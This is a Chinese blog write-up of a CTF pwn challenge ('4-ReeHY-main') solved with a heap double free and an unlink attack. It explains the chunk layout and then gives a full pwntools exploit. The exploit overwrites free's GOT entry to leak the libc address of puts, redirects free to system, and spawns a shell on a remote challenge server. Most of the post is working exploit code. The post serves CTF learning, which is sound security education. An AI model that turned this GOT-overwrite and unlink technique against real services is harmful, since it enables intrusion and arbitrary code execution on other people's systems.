个人博客地址
1 | http://www.darkerbox.com |
欢迎大家学习交流
参考网址:
1 2 | https://www.cnblogs.com/xingzherufeng/p/9885860.html#commentform https://blog.csdn.net/seaaseesa/article/details/102907138 |
分析
其实此题有两种解法,一个是整型溢出,一个是double free。因为暂时只搞懂了double free,先写double free的解法

运行程序大概可以看到有五个功能,增删改查然后加一个退出。

其实查询的功能还在完善。

看看创建功能。

在删除功能上,可以看到只判断输入的数字是否小于等于4,如果小于即直接free。可以造成double free。应该还有UAF。

剩下的不多说了
利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | def welcome(): p.recvuntil('name: \n$') p.send('Vicl1fe') def create(index,size,content): p.recvuntil('*********\n$') p.send('1') p.recvuntil('Input size\n') p.send(str(size)) p.recvuntil('Input cun\n') p.send(str(index)) p.recvuntil('Input content\n') p.send(content) def delete(index): p.recvuntil('*********\n$') p.send('2') p.recvuntil('Chose one to dele\n') p.send(str(index)) def edit(index,content): p.recvuntil('*********\n$') p.send('3') p.recvuntil('to edit\n') p.send(str(index)) p.recvuntil('the content\n') p.send(content) |
代码中需要的几个地址,p_addr的地址现在可能看不出来,等把exp全部理解之后就知道为啥是这个地址了,佩服那些大神清晰的思路
1 2 3 4 | p_addr = 0x602100 free_got = elf.got['free'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] |
首先我们创建三个chunk。大小为0x100会分配到unsorted bin(双向链表)。
| id | size | content |
|---|---|---|
| 0 | 0x20 | /bin/sh\x00 |
| 1 | 0x100 | AAAAAAAA |
| 2 | 0x100 | BBBBBBBB |
1 2 3 4 5 6 7 | welcome() # chunk0 create(0,0x20,"/bin/sh\x00") # chunk1 create(2,0x100,"AAAAAAAA") # chunk2 create(1,0x100,"BBBBBBBB") |
free掉chunk1和chunk2后,此时chunk1和chunk2应该已经合并到一块了,个人认为已经合并到top chunk中了。
1 2 | delete(2) delete(1) |
然后重新创建一个chunk3,大小为chunk1+chunk2。并且在内容中构造fake_chunk。
1 2 3 4 5 6 7 8 9 | payload = "" payload += p64(0) payload += p64(0x101) payload += p64(p_addr - 0x18) payload += p64(p_addr - 0x10) payload += "A"*(0x100-4*8) payload += p64(0x100) payload += p64(0x110) create(2,0x210,payload) |
创建之前,

创建之后

delete(1)即free(chunk2)。看上图,chunk2的头已经被改变了,chunk2的size为0x110。表示上一个chunk为空闲状态,即会发生合并,则首先要将chunk1从双向链表中取出,即进行unlink操作,程序不知道chunk1是否在链表中,直接对chunk1进行unlink操作。
1 | delete(1) |
unlink操作如下,P指的是要进行unlink操作的chunk,即chunk1。
1 2 | P->fd->bk = P->bk. P->bk->fd = P->fd. |
那么对照上图。可以推出如下式子,记住这是赋值操作。p_addr的值是0x602100。
1 2 | 0x6020e8(p_addr-0x18)->bk = 0x6020f0(p_addr - 0x10) 0x6020f0(p_addr-0x10)->fd = 0x6020e8(p_addr-0x18) |
unlink之前如下图,图中的chunk0所表示的意思是chunk0->content。依次类推。

经过上面的修改后,存放chunk3->content指针被修改为0x6020e8。
如下图,经过unlink后chunk3->content被修改为0x6020e8,那么此时我们修改chunk3->content即是修改0x6020e8所指向的值,可以发现指向的是图中右上角的地方,一切都是巧合吗?不,都是经过大佬精确的计算。

1 2 3 4 5 6 7 | payload = "" payload += p64(1) payload += p64(free_got) payload += p64(1) payload += p64(puts_got) payload += p64(1) edit(2,payload) |
然后我们编辑chunk3,即编辑0x6020e8。chunk3在数组中的索引为2,所以edit(2,payload),
编辑之后如下图,对照payload可以看出0x602018即free_plt,0x602020即puts_plt。
此时修改chunk1->content即修改free_plt,修改chunk3->content即修改puts_plt

说明我们已经写入成功,地址没问题

那我们现在修改chunk2->content。代码如下
1 2 | # 修改free的got表为puts edit(1,p64(puts_plt)) |
我们修改free的got表为puts_plt。那么下次执行free函数的时候其实执行的是puts函数
修改好后,我们删除chunk3。即free(chunk3->content),实际执行的是puts(puts_got)
1 | delete(2) |
此时会输出puts函数的真实地址。
输出之后,接收地址,然后算出system的真实地址,这里可以用LibcSercher寻找libc,题目给的libc好像有问题。我这里在本地运行用的是我本地的Libc。
1 2 3 | puts_addr = u64(p.recv(6)+"\x00"*2) success(hex(puts_addr)) system_addr = puts_addr - libc.sym['puts'] + libc.sym['system'] |
算出system地址之后
再次修改chunk2->content为system真实地址,此时执行free即执行system函数
1 | edit(1,p64(system_addr)) |
修改好之后,删除chunk0->content。执行的是free(chunk0->content),实际执行的是system(chunk0->content)。此时chunk0->content的值为
1 | delete(0) |
拿到shell后可以直接开启交互
1 | p.interactive() |
Exploit
需要注意的是,我这里用的是本地的Libc,因为我已经修改过程序要加载的glibc了,

我本地的libc版本比较高,有tcache,不方便调试,所以只能修改程序的加载的Libc,所以读者需要自己修改代码,用LibcSercher来获取libc基址,算出system真实地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | #coding:utf-8 from pwn import * # p = process("./4-ReeHY-main.glib2_23") p = remote("220.249.52.133",39448) elf = ELF("4-ReeHY-main.glib2_23") libc = ELF("/usr/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6") # libc = ELF("/usr/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6") context.log_level = "debug" def welcome(): p.recvuntil('name: \n$') p.send('Vicl1fe') def create(index,size,content): p.recvuntil('*********\n$') p.send('1') p.recvuntil('Input size\n') p.send(str(size)) p.recvuntil('Input cun\n') p.send(str(index)) p.recvuntil('Input content\n') p.send(content) def delete(index): p.recvuntil('*********\n$') p.send('2') p.recvuntil('Chose one to dele\n') p.send(str(index)) def edit(index,content): p.recvuntil('*********\n$') p.send('3') p.recvuntil('to edit\n') p.send(str(index)) p.recvuntil('the content\n') p.send(content) p_addr = 0x602100 free_got = elf.got['free'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] welcome() # chunk0 create(0,0x20,"/bin/sh\x00") # chunk1 create(2,0x100,"AAAAAAAA") # chunk2 create(1,0x100,"BBBBBBBB") delete(2) delete(1) payload = "" payload += p64(0) payload += p64(0x101) payload += p64(p_addr - 0x18) payload += p64(p_addr - 0x10) payload += "A"*(0x100-4*8) payload += p64(0x100) payload += p64(0x110) create(2,0x210,payload) delete(1) payload = "" payload += p64(1) payload += p64(free_got) payload += p64(1) payload += p64(puts_got) payload += p64(1) # gdb.attach(p) edit(2,payload) # 修改free的got表为puts edit(1,p64(puts_plt)) delete(2) puts_addr = u64(p.recv(6)+"\x00"*2) success(hex(puts_addr)) system_addr = puts_addr - libc.sym['puts'] + libc.sym['system'] edit(1,p64(system_addr)) delete(0) p.interactive() |
欢迎一起学习交流,共同进步,欢迎加入信息安全小白群
